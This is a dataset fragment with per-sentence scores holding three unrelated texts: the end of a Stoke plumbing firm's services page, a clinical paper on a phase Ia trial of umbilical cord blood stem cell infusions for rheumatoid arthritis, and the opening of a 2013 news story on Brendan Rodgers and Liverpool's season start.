"\n\nPeter Foster\n\nNo payment is taken until the job has been completed and you have signed to say you are satisfied (deposit may be required for parts purchased). ",
"Call Free 0800 035 3409\n\nPlumbing Services\n\nDrain Unblocking\n\nBlocked toilet, bath, shower sink or external drains? ",
"Our experts will have it fixed today! ",
"What's more, if you would like a CCTV survey of your drainage system, leave it to us.",
"\n\nLeak & Burst Pipe Repair\n\nAble understand that there isn't much worse than discovering a leak or burst pipe in your home. ",
"That's why our plumbers are ready to safely resolve all types of plumbing emergency, 24 hours a day, 7 days a week.",
"\n\nGas Heating Service\n\nOur gas registered plumbers are able to safely complete any heating repair or installation job, no matter how great or small. ",
"Whether you need a boiler serviced or repaired fast, or you would like a full heating system installation, you can feel safe with us.",
"\n\nTap Repair & Install\n\nWant to update your kitchen by having new taps installed? ",
"Or do you finally want to fix that dripping tap and save water? ",
"Our plumbing engineers can help. ",
"We can repair and install all types of taps at a time convenient to you.",
"\n\nImmersion Heaters\n\nWe can help you to avoid those unexpected cold showers. ",
"Able's plumbing experts are never far away and can repair and install all types of immersion heaters. ",
"Let us get your heating back in order fast.",
"\n\nAppliance Installation\n\nDo you have a new appliance that needs to be installed? ",
"From installing washing machines to cookers, we can be out to you the very same day, meaning you can get on with your day without any disruptions.",
"\n\nWhy choose Able Plumbers?",
"\n\nOur plumbing experts are fully qualified and experienced in all methods of plumbing for homes and businesses in Stoke. ",
"We put our customers' needs first, operating 24 hours a day, 7 days a week, providing a rapid emergency response so that your plumbing problem can be fixed in no time.",
"\n\nCall now for 24/7 fast response Plumbing services 0800 035 3409\n\nClients we have helped\n\nWe deliver planned and reactive services that are second to none to a range of businesses."
] | {
"pile_set_name": "Pile-CC"
} | [
0.0008432832546532154,
0.0005603356985375285,
0.000868318893481046,
0.0005241482867859304,
0.0006389182526618242,
0.0007054065354168415,
0.0005316981696523726,
0.000797408982180059,
0.0006947403308004141,
0.0006240344955585897,
0.0005958388210274279,
0.0005196672864258289,
0.0006540807662531734,
0.0005712119746021926,
0.019811110571026802,
0.0006168637191876769,
0.0005742706707678735,
0.0009637328330427408,
0.0006059393635950983,
0.0009661299991421402,
0.0005403483519330621,
0.0008759825141169131,
0.004370678216218948,
0.0005468706367537379,
0.0006250559235922992,
0.0006442661979235709,
0.0007640021503902972,
0.06114332750439644,
0.0008722963975742459,
0.0013168862788006663,
0.0009140222100540996,
0.0005142725422047079,
0.0006513008265756071,
0.0005813334719277918
] | 0.003148 | 34 |
[
"Significance StatementThis is the first human trial that has investigated the outcome of human umbilical cord blood‐derived mesenchymal stem cells (hUCB‐MSCs) infusions in patients with rheumatoid arthritis (RA). ",
"RA patients with moderate disease activity were given a single infusion of hUCB‐MSCs, cell numbers up to 1 × 10^8^, and no ominous short‐term safety signal was observed. ",
"In addition, a single infusion of hUCB‐MSCs reduced the mean 28‐joint disease activity score of the study participants. ",
"Data from this trial provide insight and suggestions for future trials assessing safety plus clinical efficacy, furthering treatment protocols of hUCB‐MSCs infusions for RA patients who are in need.",
"\n\nIntroduction {#sct312331-sec-0003}\n============\n\nRheumatoid arthritis (RA) is a chronic, systemic, inflammatory disorder that primarily involves synovial joints [1](#sct312331-bib-0001){ref-type=\"ref\"}. ",
"During the past decade, new classes of disease‐modifying antirheumatic drugs (DMARDs) and updated treatment strategies enabled better clinical outcomes for RA patients, but few patients reach long‐term drug‐free clinical remission despite such achievements. ",
"Moreover, these approaches are costly and may ensue side effects, for instance, laboratory test abnormalities and serious infections [2](#sct312331-bib-0002){ref-type=\"ref\"}, [3](#sct312331-bib-0003){ref-type=\"ref\"}. ",
"Therefore, the need still exists for an effective and safe treatment for those who respond inadequately to current therapies.",
"\n\nMSCs are mesoderm‐derived cells that reside in the stroma of solid organs and function as precursors of nonhematopoietic connective tissues [4](#sct312331-bib-0004){ref-type=\"ref\"}, [5](#sct312331-bib-0005){ref-type=\"ref\"}, [6](#sct312331-bib-0006){ref-type=\"ref\"}. ",
"They can exert profound immunosuppression by modulating the proliferation and differentiation of T and B cells, dendritic cell maturation, and natural killer activity [6](#sct312331-bib-0006){ref-type=\"ref\"}. ",
"After in vivo administration, MSCs induce peripheral tolerance and migrate to injured tissues where they can inhibit the release of inflammatory cytokines and promote the survival of damaged cells [7](#sct312331-bib-0007){ref-type=\"ref\"}. ",
"Based on the immunoregulatory capabilities of MSCs, cell‐based therapies using MSCs have been spotlighted as a promising tool for the treatment of various immune‐related diseases, such as the graft‐versus‐host disease, inflammatory bowel disease, multiple sclerosis, and atopic dermatitis [8](#sct312331-bib-0008){ref-type=\"ref\"}, [9](#sct312331-bib-0009){ref-type=\"ref\"}, [10](#sct312331-bib-0010){ref-type=\"ref\"}, [11](#sct312331-bib-0011){ref-type=\"ref\"}, [12](#sct312331-bib-0012){ref-type=\"ref\"}. ",
"Some studies have also demonstrated that MSCs could be part of a new effective therapeutic approach for autoimmune arthritis [12](#sct312331-bib-0012){ref-type=\"ref\"}, [13](#sct312331-bib-0013){ref-type=\"ref\"}, [14](#sct312331-bib-0014){ref-type=\"ref\"}, [15](#sct312331-bib-0015){ref-type=\"ref\"}, [16](#sct312331-bib-0016){ref-type=\"ref\"}.",
"\n\nThe main sources of human MSCs are the bone marrow, peripheral blood, adipose tissue, and the umbilical cord. ",
"Compared with bone marrow‐derived MSCs, human umbilical cord blood‐derived MSCs (hUCB‐MSCs) have distinct advantages, including accessibility, a higher proliferation capacity, and a lower immunogenicity [17](#sct312331-bib-0017){ref-type=\"ref\"}. ",
"In addition to well‐documented self‐renewal and multipotent differentiation properties, hUCB‐MSCs possess immunoregulatory traits that permit allogeneic transplantation [18](#sct312331-bib-0018){ref-type=\"ref\"}. ",
"However, the role of hUCB‐MSCs in vivo and their repair mechanisms in RA has not yet been fully elucidated.",
"\n\nTo our knowledge, this is the first human trial that has investigated the outcome of hUCB‐MSC infusions in patients with RA. ",
"A recent study used human umbilical cord (hUC)‐derived MSCs to RA patients, which differ from hUCB‐MSC in terms of source and preparation of the investigational product [19](#sct312331-bib-0019){ref-type=\"ref\"}. ",
"Our group has previously investigated the detailed mechanism by which hUCB‐MSC infusions can ameliorate inflammatory arthritis [12](#sct312331-bib-0012){ref-type=\"ref\"}. ",
"This phase Ia study extends our preclinical research, investigating the safety and tolerability of a single intravenous infusion of hUCB‐MSCs in Korean patients with RA.",
"\n\nMaterials and Methods {#sct312331-sec-0004}\n=====================\n\nPatient Population {#sct312331-sec-0005}\n------------------\n\nThis study enrolled adults (\\>18 years) with RA who fulfilled the 2010 American College of Rheumatology (ACR)/European League Against Rheumatism classification criteria [20](#sct312331-bib-0020){ref-type=\"ref\"} and had a baseline 28‐joint count disease activity score (DAS28; using the erythrocyte sedimentation rate \\[ESR\\]) \\> 3.2. ",
"The requirement for all patients was to be on a stable dose of methotrexate (MTX), for at least 12 weeks. ",
"The exclusion criteria were as follows: a history of or current rheumatic diseases or an autoimmune joint disease other than RA, a functional class IV status as defined by the ACR Classification of Functional Status in RA [21](#sct312331-bib-0021){ref-type=\"ref\"}, pregnancy or breastfeeding, a prior malignancy, or an active infection. ",
"Patients with a history of incompletely treated tuberculosis, or a conspicuous infection within 4 weeks before screening were also excluded.",
"\n\nStudy Design {#sct312331-sec-0006}\n------------\n\nThe Clinical and safety assessment of human Umbilical cord blood‐derived mesenchymal stem cell therapy for RhEumatoid arthritis patients administered intravenously (CURE‐iv) trial is a phase Ia, open‐label, dose‐escalation study for RA patients with a moderate disease activity despite treatment with MTX (<http://clinicaltrials.gov> NCT02221258). ",
"The subjects were recruited from the Seoul Metropolitan Government‐Seoul National University Boramae Medical Center. ",
"The study was approved by institutional review boards and ethics committees at Korea National Institute for Bioethics Policy, and conducted in accordance with the Good Clinical Practice guidelines and the Declaration of Helsinki. ",
"All participants provided written informed consent before the investigation. ",
"Patients maintained their regimen of conventional DMARDs and oral corticosteroids (\\< 10 mg/day of prednisolone or its equivalent) throughout the study period.",
"\n\nThe hUCB‐MSCs were isolated and maintained as previously described [22](#sct312331-bib-0022){ref-type=\"ref\"}. ",
"Briefly, hUCB samples were obtained from the umbilical vein immediately after delivery and were mixed with Hetasep solution (StemCell Technologies, Vancouver, Canada) at a ratio of 5:1, and then incubated at room temperature. ",
"The supernatant was collected, and mononuclear cells were obtained using Ficoll (GE healthcare life sciences, Pittsburgh, PA) density‐gradient centrifugation, according to the manufacturer\\'s protocol [23](#sct312331-bib-0023){ref-type=\"ref\"}. ",
"The cells were washed twice in phosphate buffered solution. ",
"Next, the cells were seeded at a density of 2 × 10^5^ to 2 × 10^6^ cells/cm^2^ on plates in growth media that consisted of D‐media (formula 78‐5470EF; Gibco BRL, Grand Island, NY) containing EGM‐2 SingleQuot and 10% fetal bovine serum (Gibco BRL). ",
"After 3 days, nonadherent cells were removed [24](#sct312331-bib-0024){ref-type=\"ref\"}. ",
"The stem cell characteristics of hUCB‐MSCs were verified by determining their differentiation, proliferation, and immunological phenotypes as previously described [25](#sct312331-bib-0025){ref-type=\"ref\"}. ",
"The subjects were given a single intravenous infusion of 2.5 × 10^7^, 5 × 10^7^, or 1 × 10^8^ cells of hUCB‐MSCs for 30 minutes. ",
"Three patients were allocated to each cluster. ",
"The first cluster received the lowest cell number and then moved (increased hUCB‐MSC numbers) to the next cluster if there was no dose‐limited adverse event. ",
"Clinical and safety parameters were monitored after 24 hours, 72 hours, 1 week, and 4 weeks following the infusion (Fig. [",
"1](#sct312331-fig-0001){ref-type=\"fig\"}). ",
"Hematological and biochemical tests, urine analysis, chest radiography, and a 12‐lead electrocardiogram (ECG) were performed. ",
"For the disease status assessment, values from a 66/68‐swollen/tender joint count, DAS28, a pain visual analog scale (VAS), and a health assessment questionnaire (HAQ) were obtained. ",
"Serum cytokines, including IL‐1β, IL‐6, IL‐8, IL‐10, and TNF‐α, at baseline and 24 hours after the infusion of hUCB‐MSC were analyzed with a Human High Sensitivity T Cell Magnetic Bead Panel (Merck KGaA, Darmstadt, Germany).",
"\n\n{#sct312331-fig-0001}\n\nOutcomes {#sct312331-sec-0007}\n--------\n\nThe primary study objective was to evaluate the safety and tolerability of a single intravenous infusion of hUCB‐MSCs in study subjects. ",
"The secondary objective was to obtain a preliminary assessment of its efficacy. ",
"For the efficacy end points, changes of DAS28 and HAQ 4 weeks after the infusion were evaluated.",
"\n\nStatistical Analysis {#sct312331-sec-0008}\n--------------------\n\nContinuous variables from the clinical data were presented as means and standard deviations. ",
"Discrete variables were reported as frequencies and proportions. ",
"The data for the safety evaluation before and after the treatment were compared by paired *t* tests or the Wilcoxon signed‐rank test. ",
"The statistical significance of the analyses' results was determined by a two‐tailed *p* value of \\<.05.",
"\n\nResults {#sct312331-sec-0009}\n=======\n\nPatient Characteristics {#sct312331-sec-0010}\n-----------------------\n\nOut of the 11 screened RA patients, 9 were enrolled and received a single intravenous infusion of hUCB‐MSCs (Fig. [",
"2](#sct312331-fig-0002){ref-type=\"fig\"}). ",
"The cell numbers of hUCB‐MSCs infused to each patient were 2.5 × 10^7^ (*n* = 3), 5 × 10^7^ (*n* = 3), and 1 × 10^8^ (*n* = 3). ",
"The study subjects were predominantly female (78%) and the mean age was 57.4 years. ",
"The disease duration was (mean ± SD) 9.5 ± 8.7 years and the DAS28 at baseline was 4.53 ± 1.35. ",
"All subjects had received MTX, with mean doses of 14.2 mg/week at baseline and seven of them were taking oral corticosteroids (Table [1](#sct312331-tbl-0001){ref-type=\"table\"}). ",
"No patient had previously received biologic DMARDs.",
"\n\n{#sct312331-fig-0002}\n\n###### \n\nBaseline clinical and demographic characteristics of patients (*n* = 9)\n\n Baseline Week 4 *p* value\n ----------------------------------------------------------------- ------------- ------------- -----------\n Female, *n* (%) 7 (77.8) \n Age, mean ± SD, yr 57.4 ± 10.0 \n Disease duration, mean ± SD, yr 9.5 ± 8.7 \n BMI, mean ± SD, kg/m^2^ 25.2 ± 0.9 \n Rheumatoid factor, positive, *n* (%) 6 (66.7) \n Anti‐CCP, positive, *n* (%) 4 (44.4) \n Previous medication \n MTX users, *n* (%) 9 (100.0) \n Dose, mean ± SD, mg/wk 14.2 ± 0.9 \n Corticosteroid users, *n* (%) 7 (77.8) \n Dose, mean ± SD, mg/day[a](#sct312331-note-0001){ref-type=\"fn\"} 3.1 ± 0.8 \n Swollen joint count, mean ± SD, *n* 2.4 ± 2.7 0.7 ± 0.8 .1038\n Tender joint count, mean ± SD, *n* 11.8 ± 16.7 2.0 ± 3.1 .0888\n DAS28‐ESR, mean ± SD 4.53 ± 1.35 2.93 ± 1.22 .0158\n Pain VAS (0--100), mean ± SD, mm 64.8 ± 20.2 46.9 ± 29.1 .0885\n HAQ (0--5), mean ± SD 0.69 ± 0.63 0.54 ± 0.58 .3706\n\nPrednisolone or its equivalent.",
"\n\nAbbreviations: CCP, cyclic citrullinated peptide; ESR, erythrocyte sedimentation rate; DAS28, 28‐joint disease activity score; VAS, visual analog scale; HAQ, health assessment questionnaire.",
"\n\nSafety and Tolerability {#sct312331-sec-0011}\n-----------------------\n\nThere was no ominous safety signal in all clusters up to 4 weeks after the infusion of hUCB‐MSCs. ",
"The vital signs were stable during the hUCB‐MSC infusion and clinically meaningful ECG changes could not be observed. ",
"Only one patient in the 5 × 10^7^ group reported joint pain 60 minutes after the infusion, but this was determined to be unrelated to the hUCB‐MSCs infusion. ",
"There was no major abnormal finding in the hematologic profiles (Table [2](#sct312331-tbl-0002){ref-type=\"table\"}). ",
"Abnormalities were not observed in the serum chemical profiles such as of liver and renal functions. ",
"Serum uric acid levels were slightly elevated (from 3.63 ± 1.11 to 4.16 ± 1.19 mg/dl) at 4 weeks, but the changes were minor and there was no related adverse event. ",
"Neither serious adverse event nor dose‐limiting toxicity (DLT) was reported.",
"\n\n###### \n\nLaboratory tests at baseline and week 4\n\n Baseline Week 4 Changes *p* value\n ------------------------------------- ------------------ ------------------- ----------------- -----------\n WBC, mean ± SD, ×10^3^/mm^3^ 7.99 ± 2.68 8.23 ± 3.30 0.23 ± 1.14 .5555\n ANC, mean ± SD, mm^3^ 5,992.6 ± 2642.9 5,558.3 ± 2,793.4 434.2 ± 1,225.6 .3594\n Hematocrit, mean ± SD, % 38.5 ± 4.3 38.9 ± 4.8 0.3 ± 1.8 .5852\n Platelet, mean ± SD, mm^3^ 292.1 ± 72.6 281.67 ± 78.8 −10.4 ± 22.2 .1961\n ESR, mean ± SD, mm/hr 23.3 ± 12.0 15.4 ± 9.2 −7.9 ± 10.4 .0517\n Hs‐CRP, mean ± SD, mg/dl 0.81 ± 1.12 0.44 ± 0.47 −0.37 ± 1.09 .3362\n Total protein, mean ± SD, g/dl 6.74 ± 0.28 6.83 ± 0.53 0.09 ± 0.43 .5537\n Albumin, mean ± SD, g/dl 4.21 ± 0.14 4.19 ± 0.13 −0.02 ± 0.12 .5943\n Total bilirubin, mean ± SD, mg/dl 0.60 ± 0.17 0.61 ± 0.25 0.01 ± 0.19 .8651\n AST, mean ± SD, IU/l 20.2 ± 5.3 23.56 ± 9.7 3.33 ± 6.4 .1570\n ALT, mean ± SD, IU/l 17.0 ± 4.9 20.56 ± 10.6 3.56 ± 8.4 .2390\n BUN, mean ± SD, mg/dl 11.9 ± 2.6 13.2 ± 3.9 1.3 ± 3.6 .2995\n Creatinine, mean ± SD, mg/dl 0.66 ± 0.06 0.64 ± 0.09 −0.01 ± 0.09 .6246\n Glucose, mean ± SD, mg/dl 108.2 ± 12.9 104.6 ± 8.3 −3.7 ± 14.7 .4566\n Total cholesterol, mean ± SD, mg/dl 179.0 ± 30.5 186.3 ± 27.3 7.3 ± 16.4 .2168\n Triglyceride, mean ± SD, mg/dl 100.9 ± 29.6 126.8 ± 54.0 25.9 ± 63.9 .2587\n Uric Acid, mean ± SD, mg/dl 3.63 ± 1.11 4.16 ± 1.19 0.52 ± 0.57 .0242\n\nAbbreviations: ALT, alanine transaminase; ANC, absolute neutrophil count; AST, aspartate transaminase; BUN, blood urea nitrogen; ESR, erythrocyte sedimentation rate; hs‐CRP, high sensitivity C‐reactive protein; MTX, methotrexate; WBC, white blood cell.",
"\n\nChanges in Disease Activity {#sct312331-sec-0012}\n---------------------------\n\nThe ESR and C‐reactive protein level changes from baseline to week 4 were −7.9 ± 10.4 mm/hour (*p* = .0517) and −0.37 ± 1.09 mg/dl (*p* = .3362), respectively (Table [2](#sct312331-tbl-0002){ref-type=\"table\"}). ",
"At 4 weeks after the hUCB‐MSCs infusion, the DAS28 reduction was statistically significant (−1.60 ± 1.57 mm/hour, *p* = .0158; Table [1](#sct312331-tbl-0001){ref-type=\"table\"}). ",
"The HAQ score and pain VAS changes at week 4 were −0.15 ± 0.48 (*p* = .3706), and −17.9 ± 27.7 (*p* = .0885), respectively. ",
"Serum levels of IL‐1β, IL‐6, IL‐8, IL‐10, and TNF‐α at baseline and 24 hours after the hUCB‐MSCs infusion are depicted in Supporting Information Figure [S1](#sct312331-supitem-0001){ref-type=\"supplementary-material\"}. ",
"Reduced levels of IL‐1β, IL‐6, IL‐8, and TNF‐α at 24 hours were observed in the cluster infused with 1 × 10^8^ cells, yet inconsistent results were found in the cluster given 2.5 × 10^7^ or 5 × 10^7^ cells (Supporting Information Figure [S2](#sct312331-supitem-0001){ref-type=\"supplementary-material\"}). ",
"A statistically significant increase in levels of IL‐10, an immunosuppressive cytokine produced by regulatory T (Treg) cells, was discovered at 24 hours in the cluster infused with 5 × 10^7^ cells.",
"\n\nDiscussion {#sct312331-sec-0013}\n==========\n\nThis phase Ia study demonstrated that a single intravenous infusion of hUCB‐MSCs resulted in a favorable safety profile for our subjects with RA. ",
"The patients were given a single infusion of hUCB‐MSCs, with cell numbers up to 1 × 10^8^, and no DLT was reported. ",
"No major toxicity was observed up to 4 weeks after each infusion of hUCB‐MSCs. ",
"With regard to efficacy assessment, disease activity change was not the primary objective of this study, but a single infusion of hUCB‐MSCs reduced the mean DAS28 at week 4.",
"\n\nMSCs reportedly have the capabilities to modulate immune responses as well as to heal damaged tissues and organs [26](#sct312331-bib-0026){ref-type=\"ref\"}. ",
"They secrete a multitude of cytokines and growth factors with immunosuppressive properties, which inhibit B and T cell proliferation as well as monocyte maturation [6](#sct312331-bib-0006){ref-type=\"ref\"}. ",
"MSCs also promote the generation of Treg cells and M2 macrophages [27](#sct312331-bib-0027){ref-type=\"ref\"}, [28](#sct312331-bib-0028){ref-type=\"ref\"}, [29](#sct312331-bib-0029){ref-type=\"ref\"}. ",
"In addition, they are considered to possess a low immunogenicity due to their limited expression of the major histocompatibility complex (MHC) I, the lack of MHC expression as well as of costimulatory molecules, and the inability to stimulate T cell activation [6](#sct312331-bib-0006){ref-type=\"ref\"}, [30](#sct312331-bib-0030){ref-type=\"ref\"}, [31](#sct312331-bib-0031){ref-type=\"ref\"}. ",
"Such results opened up the possibility for exploring the treatment and amelioration of immune‐mediated disorders including graft‐versus‐host disease and autoimmune disorders such as RA.",
"\n\nMSCs exert their therapeutic potential in a series of experimental arthritis by upregulating Treg cells and downregulating the expression of Th17 cells, which subsequently restores the immune function by inducing tolerance, promoting immune modulation, and reducing the release of inflammatory cytokines [14](#sct312331-bib-0014){ref-type=\"ref\"}, [32](#sct312331-bib-0032){ref-type=\"ref\"}, [33](#sct312331-bib-0033){ref-type=\"ref\"}, [34](#sct312331-bib-0034){ref-type=\"ref\"}. ",
"Increasing evidence indicates the existence of a reciprocal relationship between Th17 cells and Treg cells; there is an inverse relationship between the transcription factor retinoic acid receptor‐related orphan receptor C (for Th17 cells) and FoxP3 (for Treg cells) in the joints of patients with juvenile idiopathic arthritis [35](#sct312331-bib-0035){ref-type=\"ref\"}. ",
"MSC treatment reduces pathogenic T cell subsets, such as granulocyte macrophage colony‐stimulating factor‐expressing CD4 T cells, T follicular helper (Tfh) cells, and Th1/Th17 cells in the collagen‐induced arthritis (CIA) model [36](#sct312331-bib-0036){ref-type=\"ref\"}, [37](#sct312331-bib-0037){ref-type=\"ref\"}. ",
"Moreover, MSCs induce the apoptosis of activated T cells via the Fas ligand (FasL)/Fas signaling pathway in CIA [34](#sct312331-bib-0034){ref-type=\"ref\"}. ",
"MSCs overexpressing IL‐10 have also attenuated CIA [38](#sct312331-bib-0038){ref-type=\"ref\"}. ",
"They inhibit the proliferation and expression of proinflammatory cytokines---such as interferon‐γ and TNF‐α---as well as the production of the matrix‐degrading enzymes collagenase and gelatinase, which are involved in the inflammatory response within the synovium [39](#sct312331-bib-0039){ref-type=\"ref\"}. ",
"MSCs also prevent systemic bone loss in CIA via the direct inhibition of receptor activator of NF‐kB ligand‐induced osteoclastogenesis [40](#sct312331-bib-0040){ref-type=\"ref\"}.",
"\n\nIn vitro or preclinical studies have extensively examined the immunomodulatory actions of UCB‐MSCs in RA. ",
"UCB‐MSCs exert a profound inhibitory effect on the proliferation, invasive behavior, and inflammatory responses of fibroblast‐like synoviocytes (FLSs) via IL‐10, indoleamine 2,3‐dioxygenase, and transforming growth factor β1. ",
"They also suppress T cell activations and induced the generation of Tregs [41](#sct312331-bib-0041){ref-type=\"ref\"}. ",
"A coculture of FLS with UCB‐MSCs inhibited the expression of pro‐inflammatory cytokines and chemokines IL‐1β, IL‐6, and the chemokine (C‐C motif) ligand‐2; it further induced FLS apoptosis and promoted chondrogenesis [42](#sct312331-bib-0042){ref-type=\"ref\"}. ",
"hUCB‐MSCs downregulate the secretion of TNF‐α from activated macrophages and also accelerated anti‐inflammatory M2 polarizations in a paracrine manner [12](#sct312331-bib-0012){ref-type=\"ref\"}. ",
"In overall, hUCB‐MSCs demonstrably correct an immunity imbalance by downregulating the Th1 subset, decreasing the Th17 subset, inducing Tregs, and inhibiting the generation of Tfh cells which attenuate the severity of arthritis comparable to biologic treatments [43](#sct312331-bib-0043){ref-type=\"ref\"}.",
"\n\nIn a prior phase I study of hUC‐MSC infusions in Chinese patients with active RA, the subjects received 4 × 10^7^ cells of hUC‐MSCs via an intravenous infusion, with some patients being additionally infused with hUC‐MSCs at 3‐month intervals after the first treatment. ",
"The infusions were well tolerated and no major abnormalities were observed [19](#sct312331-bib-0019){ref-type=\"ref\"}. ",
"In our study, the patients were given a single infusion of hUCB‐MSCs but a higher cell number of up to 1 × 10^8^. However, no subjects exhibited an infusion reaction, a serious adverse event, or major abnormalities in serum chemical or hematologic profiles, both during and after the treatment. ",
"Although increased mean serum uric acid levels were observed, they were within the normal range, the changes were trivial, and no related AE was discovered throughout the study. ",
"Nevertheless, we plan to monitor serum uric acid levels in the future trials with repeated infusions. ",
"A randomized, placebo‐controlled, phase Ib/IIa trial recently demonstrated the safety of repeated infusions (days 1, 5, and 18) of adipose‐derived MSCs in patients with active RA; a trend for clinical efficacy was observed, yet it did not persist beyond 3 months after the infusion [16](#sct312331-bib-0016){ref-type=\"ref\"}.",
"\n\nThis study has some limitations. ",
"First, the sample size was relatively small and the duration of the follow‐up period after the infusion of hUCB‐MSCs was short for the exploration of long‐term safety; we are currently conducting a 5‐year observational study to search for any safety signal in our subjects. ",
"Also, there was no placebo group for further comparison with the hUCB‐MSC recipients. ",
"Second, the administration of a single infusion of hUCB‐MSCs is prohibitive in determining whether repetitive infusions would have similar safety outcomes. ",
"Third, among the study participants no one was exposed to biologic DMARDs; future trials are planned to enroll, if not limited to, previous biologic users. ",
"Lastly, although a range of clinical outcomes was assessed, imaging studies were excluded due to the short follow‐up period. ",
"Future investigations including long‐term radiographic outcomes in hUCB‐MSC‐treated patients would be interesting.",
"\n\nConclusion {#sct312331-sec-0014}\n==========\n\nThis is the first phase Ia study of RA patients that evaluated the safety and tolerability of a single intravenous infusion with hUCB‐MSCs and with cell numbers of up to 1 × 10^8^, revealing an acceptable safety profile. ",
"Conclusions regarding efficacy in phase I trials are limited, and although evaluation of disease activity was not the primary objective of this study, a single infusion of hUCB‐MSCs effectively reduced the mean DAS28 at week 4. ",
"Considering favorable safety profiles, intravenous infusion of hUCB‐MSCs may constitute a therapeutic option for patients with RA, who are refractory to or intolerant of MTX. ",
"There is a wide array of opportunities for future clinical studies with different hUCB‐MSC infusion strategies in which safety profiles should be carefully monitored and outcome measures further refined for optimized effectiveness evaluations.",
"\n\nAuthor Contributions {#sct312331-sec-0016}\n====================\n\nE.H.P.: collection of data, data analysis and interpretation, manuscript writing, final approval of manuscript; H.‐s.",
"L.: collection of data, data analysis and interpretation; S.L.: data analysis and interpretation; K.R., K.‐W.S., and K.‐S.K.: financial support; K.S.: conception and design, collection of data, data analysis and interpretation, manuscript writing, final approval of manuscript.",
"\n\nDisclosure of Potential Conflicts of Interest {#sct312331-sec-0017}\n=============================================\n\nThis study was funded by Kangstem Biotech Co., Ltd.; S.L., K.R., K.‐W.S, and K.‐S.K. work in the department of Stem Cell Therapeutics at Kangstem Biotech Co., Ltd. The other authors indicated no potential conflicts of interest.",
"\n\nSupporting information\n======================\n\n###### \n\n**Figure S1. ",
"Changes of serum levels of IL‐1β, IL‐6, IL‐8, IL‐10 and TNF‐α from baseline at 24 hours of hUCB‐MSC infusion (n = 9).** ",
"TNF‐α, tumor necrosis factor alpha; hUCB‐MSCs, human umbilical cord blood‐derived mesenchymal stem cell.",
"\n\n**Figure S2. ",
"Subgroup analysis of changes of serum levels of IL‐1β, IL‐6, IL‐8, IL‐10 and TNF‐α from baseline at 24 hours of hUCB‐MSC infusion in the (A) 2.5 x 10** ^**7**^ **group (n = 3), (B) 5 x 10** ^**7**^ **group (n = 3), and (C) 1 x 10** ^**8**^ **cells group (n = 3).** ",
"TNF‐α, tumor necrosis factor alpha; hUCB‐MSCs, human umbilical cord blood‐derived mesenchymal stem cell. ",
"\\**p* \\< .05, before versus after treatment (Wilcoxon signed rank test).",
"\n\n###### \n\nClick here for additional data file.",
"\n\nWe thank Junghyun Yoon for her help enrolling patients and conducting this trial.",
"\n"
] | {
"pile_set_name": "PubMed Central"
} | [
0.001139931846410036,
0.0006091507966630161,
0.0006110300892032683,
0.00055507110664621,
0.0013881106860935688,
0.0006121524493210018,
0.0006901684682816267,
0.0006996995070949197,
0.0011311846319586039,
0.0009759877575561404,
0.0006496490095742047,
0.0007073220913298428,
0.0006317613879218698,
0.011614800430834293,
0.0011796369217336178,
0.0005973282968625426,
0.0005808358546346426,
0.0006054631667211652,
0.0018684320384636521,
0.0005485215806402266,
0.0005896534421481192,
0.0009608306572772563,
0.0006481962627731264,
0.0007025342201814055,
0.0006734834751114249,
0.001126989722251892,
0.0005826050764881074,
0.0005219170707277954,
0.0005283813807182014,
0.0009489290532656014,
0.000580512045416981,
0.0005987552576698363,
0.0006189944688230753,
0.0006701790262013674,
0.0006367149762809277,
0.0006512539694085717,
0.0005476180813275278,
0.0006246250704862177,
0.0005808375426568091,
0.0006301199900917709,
0.0005378156201913953,
0.0006481693708337843,
0.001204246305860579,
0.0005787006812170148,
0.0005828291759826243,
0.0019055769080296159,
0.008216463029384613,
0.0005991936777718365,
0.0005750231794081628,
0.000565847905818373,
0.0005966724711470306,
0.0005869975429959595,
0.0005801679799333215,
0.000595051038544625,
0.0006746195140294731,
0.0006502886535599828,
0.0007652131607756019,
0.0008724352810531855,
0.0006101624458096921,
0.0009389087208546698,
0.0007169039454311132,
0.0019055769080296159,
0.0025200967211276293,
0.0006377009558491409,
0.0006725399289280176,
0.0005644777556881309,
0.0006595583981834352,
0.0006295524653978646,
0.0005644102348014712,
0.0006798470858484507,
0.000611739291343838,
0.003216409357264638,
0.000657202850561589,
0.0005819227662868798,
0.0008923516143113375,
0.0005464756395667791,
0.000562582048587501,
0.0006785437581129372,
0.0006741342367604375,
0.0005708396784029901,
0.0005853039328940213,
0.0005737273604609072,
0.0007979611400514841,
0.0008282877970486879,
0.0008952014613896608,
0.0006711886380799115,
0.0006282886024564505,
0.0007424441864714026,
0.0006890895310789347,
0.0006949356175027788,
0.0006983957719057798,
0.0006530106766149402,
0.0006825932650826871,
0.0009284490370191634,
0.0005491020274348557,
0.0009071446838788688,
0.0007949080318212509,
0.0007205245201475918,
0.0010884854709729552,
0.0007303975289687514,
0.0005687360535375774,
0.0005809036665596068,
0.0005549113848246634,
0.0006167017272673547,
0.0006797625683248043,
0.0005805372493341565,
0.0006419126293621957,
0.0005570941721089184,
0.0005727594834752381,
0.0006107253138907254,
0.0005765669629909098,
0.0005324436933733523,
0.0005206770729273558,
0.0006280958186835051,
0.0005834411131218076,
0.0007647798047401011,
0.0005259872996248305,
0.0006649382412433624,
0.000612144882325083,
0.0007390574901364744,
0.0010922519722953439,
0.0005776808829978108,
0.001000880030915141,
0.0009161827038042247,
0.0006309556192718446,
0.001000880030915141,
0.0009003514423966408,
0.0007241981220431626,
0.0005322067881934345,
0.001995444530621171
] | 0.000908 | 130 |
[
"Rodgers - We won't be sabotaged\n\n16 August 2013 10:16\n\nLiverpool manager Brendan Rodgers insists his side will not be distracted by the ongoing Luis Suarez transfer saga as they prepare to get their Barclays Premier League challenge under way.",
"\n\nThe Reds kick off the new Premier League season against Stoke with the future of their wantaway striker - hotly and publicly pursued by Arsenal - still uncertain.",
"\n\nBut Rodgers has backed his side to put off-field issues to the back of their minds and shine on the pitch.",
"\n\n\"There's too much good work gone on here for it to be overtaken by anything else,\" Rodgers said. \"",
"The players have worked so hard, their concentration has been brilliant and we are all very determined this year.",
"\n\n\"I can't let anything detract from that. ",
"Nothing can sabotage what we are trying to do. ",
"I don't really want to go on about it. ",
"It's just something we cannot afford to happen.\"",
"\n\nRodgers believes he starts the new season with a stronger squad than 12 months ago, giving them a much better chance of regaining Champions League status.",
"\n\nLast August Rodgers was embarking on his maiden season at Anfield still trying to ingrain a new way of playing into a squad largely of his predecessors' assembling.",
"\n\nThe fixture list has been kinder than last year, when they had to face Manchester City, Arsenal and Manchester United in their first five matches.",
